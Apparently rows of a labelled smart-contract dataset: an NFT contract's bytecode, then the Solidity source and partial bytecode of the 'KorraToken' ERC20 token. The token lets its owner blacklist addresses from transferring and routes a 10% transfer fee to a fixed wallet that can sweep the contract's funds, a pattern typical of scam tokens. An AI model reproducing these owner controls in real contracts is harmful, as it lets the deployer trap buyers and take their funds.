1df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b6040805162461bcd60e51b815260206004820152601960248201527f4e46543a207472616e73666572206e6f7420616c6c6f77656400000000000000604482015290519081900360640190fd5b600082815260208190526040902060020154610e4390610d12611520565b610e7e5760405162461bcd60e51b815260040180806020018281038252602f8152602001806120ea602f913960400191505060405180910390fd5b610e888282611634565b5050565b610e94611520565b6001600160a01b0316816001600160a01b031614610ee35760405162461bcd60e51b815260040180806020018281038252602f8152602001806122c0602f913960400191505060405180910390fd5b610e88828261169d565b60608151835114610f2f5760405162461bcd60e51b815260040180806020018281038252602981526020018061222c6029913960400191505060405180910390fd5b6000835167ffffffffffffffff81118015610f4957600080fd5b50604051908082528060200260200182016040528015610f73578160200160208202803683370190505b50905060005b8451811015610fd157610fb2858281518110610f9157fe5b6020026020010151858381518110610fa557fe5b6020026020010151610bbd565b828281518110610fbe57fe5b6020908102919091010152600101610f79565b509392505050565b6110057f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610d12611520565b6110405760405162461bcd60e51b81526004018080602001828103825260228152602001806122556022913960400191505060405180910390fd5b61104b838383611706565b505050565b611058611520565b6001600160a01b0316611069611187565b6001600160a01b0316146110c4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b61113a7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610d12611520565b6111755760405162461bcd60e51b81526004018080602001828103825260228152602001806121e16022913960400191505060405180910390fd5b61118184848484611524565b50505050565b6001546001600160a01b03165b90565b60008281526020819052604081206111af9083611974565b9392505050565b60008281526020819052604081206111af9083611980565b600081565b816001600160a01b03166111e5611520565b6001600160a01b0316141561122b5760405162461bcd60e51b81526004018080602001828103825260298152602001806122036029913960400191505060405180910390fd5b8060046000611238611520565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff19169215159290921790915561127c611520565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6000818152602081905260408120610c2990611995565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b60008281526020819052604090206002015461131b90610d12611520565b610ee35760405162461bcd60e51b815260040180806020018281038252603081526020018061218e6030913960400191505060405180910390fd5b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b61138c611520565b6001600160a01b031661139d611187565b6001600160a01b0316146113f8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661143d5760405162461bcd60e51b81526004018080602001828103825260268152602001806121446026913960400191505060405180910390fd5b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6114c57f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610d12611520565b6115005760405162461bcd60e51b81526004018080602001828103825260228152602001806122556022913960400191505060405180910390fd5b61104b8383836119a0565b60006111af836001600160a01b038416611ad3565b3390565b6001600160a01b0384166115695760405162461bcd60e51b815260040180806020018281038252602181526020018061229f6021913960400191505060405180910390fd5b6000611573611520565b90506115948160008761158588611b1d565b61158e88611b1d565b87611b62565b60008481526003602090815260408083206001600160a01b03891684529091529020546115c19084611b6a565b60008581526003602090815260408083206001600160a01b03808b16808652918452828520959095558151898152928301889052815190948616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a4610d9881600087878787611bc4565b600082815260208190526040902061164c908261150b565b15610e8857611659611520565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526020819052604090206116b59082611e05565b15610e88576116c2611520565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6001600160a01b03831661174b5760405162461bcd60e51b81526004018080602001828103825260238152602001806121be6023913960400191505060405180910390fd5b805182511461178b5760405162461bcd60e51b81526004018080602001828103825260288152602001806122776028913960400191505060405180910390fd5b6000611795611520565b90506117b581856000868660405180602001604052806000815250611b62565b60005b83518110156118935761184a8382815181106117d057fe5b602002602001015160405180606001604052806024815260200161216a602491396003600088868151811061180157fe5b602002602001015181526020019081526020016000206000896001600160a01b03166001600160a01b0316815260200190815260200160002054611e1a9092919063ffffffff16565b6003600086848151811061185a57fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038a1682529092529020556001016117b8565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561191a578181015183820152602001611902565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015611959578181015183820152602001611941565b5050505090500194505050505060405180910390a450505050565b60006111af8383611e74565b60006111af836001600160a01b038416611ed8565b6000610c2982611ef0565b6001600160a01b0383166119e55760405162461bcd60e51b81526004018080602001828103825260238152602001806121be6023913960400191505060405180910390fd5b60006119ef611520565b9050611a1f81856000611a0187611b1d565b611a0a87611b1d565b60405180602001604052806000815250611b62565b611a668260405180606001604052806024815260200161216a6024913960008681526003602090815260408083206001600160a01b038b1684529091529020549190611e1a565b60008481526003602090815260408083206001600160a01b03808a16808652918452828520959095558151888152928301879052815193949093908616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a450505050565b6000611adf8383611ed8565b611b1557508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610c29565b506000610c29565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611b5157fe5b602090810291909101015292915050565b505050505050565b6000828201838110156111af576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611bd6846001600160a01b0316611ef4565b15611b6257836001600160a01b031663f23a6e6187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c65578181015183820152602001611c4d565b50505050905090810190601f168015611c925780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b158015611cb557600080fd5b505af1925050508015611cda57506040513d6020811015611cd557600080fd5b505160015b611dad57611ce6611fc6565b80611cf15750611d76565b8060405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d3b578181015183820152602001611d23565b50505050905090810190601f168015611d685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b60405162461bcd60e51b815260040180806020018281038252603481526020018061206c6034913960400191505060405180910390fd5b6001600160e01b0319811663f23a6e6160e01b14611dfc5760405162461bcd60e51b81526004018080602001828103825260288152602001806120c26028913960400191505060405180910390fd5b50505050505050565b60006111af836001600160a01b038416611efa565b60008184841115611e6c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611d3b578181015183820152602001611d23565b505050900390565b81546000908210611eb65760405162461bcd60e51b81526004018080602001828103825260228152602001806120a06022913960400191505060405180910390fd5b826000018281548110611ec557fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b3b151590565b60008181526001830160205260408120548015611fb65783546000198083019190810190600090879083908110611f2d57fe5b9060005260206000200154905080876000018481548110611f4a57fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080611f7a57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610c29565b6000915050610c29565b60e01c90565b600060443d1015611fd657611194565b600481823e6308c379a0611fea8251611fc0565b14611ff457611194565b6040513d600319016004823e80513d67ffffffffffffffff81602484011181841117156120245750505050611194565b8284019250825191508082111561203e5750505050611194565b503d8301602082840101111561205657505050611194565b601f01601f191681016020016040529150509056fe455243313135353a207472616e7366657220746f206e6f6e2045524331313535526563656976657220696d706c656d656e746572456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473455243313135353a204552433131353552656365697665722072656a656374656420746f6b656e73416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e74455243313135353a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373455243313135353a206275726e20616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65455243313135353a206275726e2066726f6d20746865207a65726f20616464726573734e46543a206d7573742068617665206d696e74657220726f6c6520746f206d696e74455243313135353a2073657474696e6720617070726f76616c2073746174757320666f722073656c66455243313135353a206163636f756e747320616e6420696473206c656e677468206d69736d617463684e46543a206d7573742068617665206275726e657220726f6c6520746f206275726e455243313135353a2069647320616e6420616d6f756e7473206c656e677468206d69736d61746368455243313135353a206d696e7420746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220eaf1205e8e973006d16b8210e74c26bd263101ce1ba490626e4f283ceb95a93464736f6c63430007060033 | [
5,
12
] |
0xf339417c850fc25f358df1948ca772e389d8a62e | /*
Welcome to KorraToken
t.me/korratoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KORRA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "KorraToken";
string private constant _symbol = "KORRA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xEA04C6f218F3e7d824A4b91952d6b99384255e26);
_feeAddrWallet2 = payable(0xEA04C6f218F3e7d824A4b91952d6b99384255e26);
_rOwned[address(this)] = _rTotal.div(2);
_rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0),address(this),_tTotal.div(10).mul(5));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(10).mul(5));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a6b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125e5565b61042a565b60405161016d9190612a50565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bcd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612592565b610458565b6040516101d59190612a50565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906124f8565b610531565b005b34801561021357600080fd5b5061021c610621565b6040516102299190612c42565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061266e565b61062a565b005b34801561026757600080fd5b506102706106dc565b005b34801561027e57600080fd5b50610299600480360381019061029491906124f8565b61074e565b6040516102a69190612bcd565b60405180910390f35b3480156102bb57600080fd5b506102c461079f565b005b3480156102d257600080fd5b506102db6108f2565b6040516102e89190612982565b60405180910390f35b3480156102fd57600080fd5b5061030661091b565b6040516103139190612a6b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125e5565b610958565b6040516103509190612a50565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612625565b610976565b005b34801561038e57600080fd5b50610397610aa0565b005b3480156103a557600080fd5b506103ae610b1a565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612552565b611075565b6040516103e49190612bcd565b60405180910390f35b60606040518060400160405280600a81526020017f4b6f727261546f6b656e00000000000000000000000000000000000000000000815250905090565b600061043e6104376111c1565b84846111c9565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610465848484611394565b610526846104716111c1565b610521856040518060600160405280602881526020016132f760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76111c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119999092919063ffffffff16565b6111c9565b600190509392505050565b6105396111c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd90612b2d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106326111c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690612b2d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071d6111c1565b73ffffffffffffffffffffffffffffffffffffffff161461073d57600080fd5b600047905061074b816119fd565b50565b6000610798600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af8565b9050919050565b6107a76111c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90612b2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b4f525241000000000000000000000000000000000000000000000000000000815250905090565b600061096c6109656111c1565b8484611394565b6001905092915050565b61097e6111c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612b2d565b60405180910390fd5b60005b8151811015610a9c57600160066000848481518110610a3057610a2f612f8a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9490612ee3565b915050610a0e565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae16111c1565b73ffffffffffffffffffffffffffffffffffffffff1614610b0157600080fd5b6000610b0c3061074e565b9050610b1781611b66565b50565b610b226111c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690612b2d565b60405180910390fd5b600f60149054906101000a900460ff1615610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf690612bad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c8e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006111c9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd457600080fd5b505afa158015610ce8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0c9190612525565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6e57600080fd5b505afa158015610d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da69190612525565b6040518363ffffffff1660e01b8152600401610dc392919061299d565b602060405180830381600087803b158015610ddd57600080fd5b505af1158015610df1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e159190612525565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e9e3061074e565b600080610ea96108f2565b426040518863ffffffff1660e01b8152600401610ecb969594939291906129ef565b6060604051808303818588803b158015610ee457600080fd5b505af1158015610ef8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1d91906126c8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161101f9291906129c6565b602060405180830381600087803b15801561103957600080fd5b505af115801561104d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611071919061269b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061113e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dee565b905092915050565b60008083141561115957600090506111bb565b600082846111679190612d8a565b90508284826111769190612d59565b146111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90612b0d565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090612b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a090612acd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113879190612bcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fb90612b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b90612a8d565b60405180910390fd5b600081116114b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ae90612b4d565b60405180910390fd5b6001600a819055506009600b819055506114cf6108f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561153d575061150d6108f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561198957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff